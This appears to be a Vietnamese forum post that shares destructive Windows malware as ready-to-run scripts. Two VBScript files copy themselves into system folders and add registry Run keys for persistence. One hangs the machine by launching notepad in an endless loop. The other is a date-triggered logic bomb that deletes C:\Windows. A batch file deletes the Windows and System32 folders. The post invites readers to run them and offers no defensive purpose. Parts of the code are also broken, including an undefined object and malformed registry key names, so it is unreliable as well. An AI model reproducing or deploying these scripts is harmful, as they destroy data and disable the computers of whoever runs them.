vbs

Nội dung con này là làm cho máy treo bằng cách gọi notepad lặp liên tục.

On Error Resume Next

Set popo= Createobject("scripting.filesystemobject")

popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"

Set popo2= CreateObject("WScript.Shell")

popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"

Set treomay= CreateObject("WScript.Shell")

Do

treomay.run "notepad",false

loop

name:popo.vbs

Nội dung con này là hẹn đến ngày 22 tháng 7 là nó tự động delete luôn thư mục windows đó.

On Error Resume Next

Set po= Createobject("scripting.filesystemobject")

po.copyfile wscript.scriptfullname,po.GetSpecialFolder(1)& "\po.vbs"

Set po2= CreateObject("WScript.Shell")

po2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \code2","wscript.exe "&po.GetSpecialFolder(0)& "\po.vbs %"

Set treomay= CreateObject("WScript.Shell")

if month(now) =7 and day(now) =22 then

Const vic = "c:\windows\"

Delvic

Sub Delvic()

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile vic & "*.*" , True

fso.DeleteFolder vic & "*" , True

End Sub

end if

po.vbs

chú ý:po.GetSpecialFolder(0)là lấy đường dẫn của thư mục Windows.

po.GetSpecialFolder(1)là lấy đường dẫn của System32

po.GetSpecialFolder(2)Là lấy đường dẫn của Temp

batch

@echo off

@del c:\windows\

@del c:\windows\system32\

pause

end

Save file thành file_name.bat

sau đó run -> sẽ biết ^_^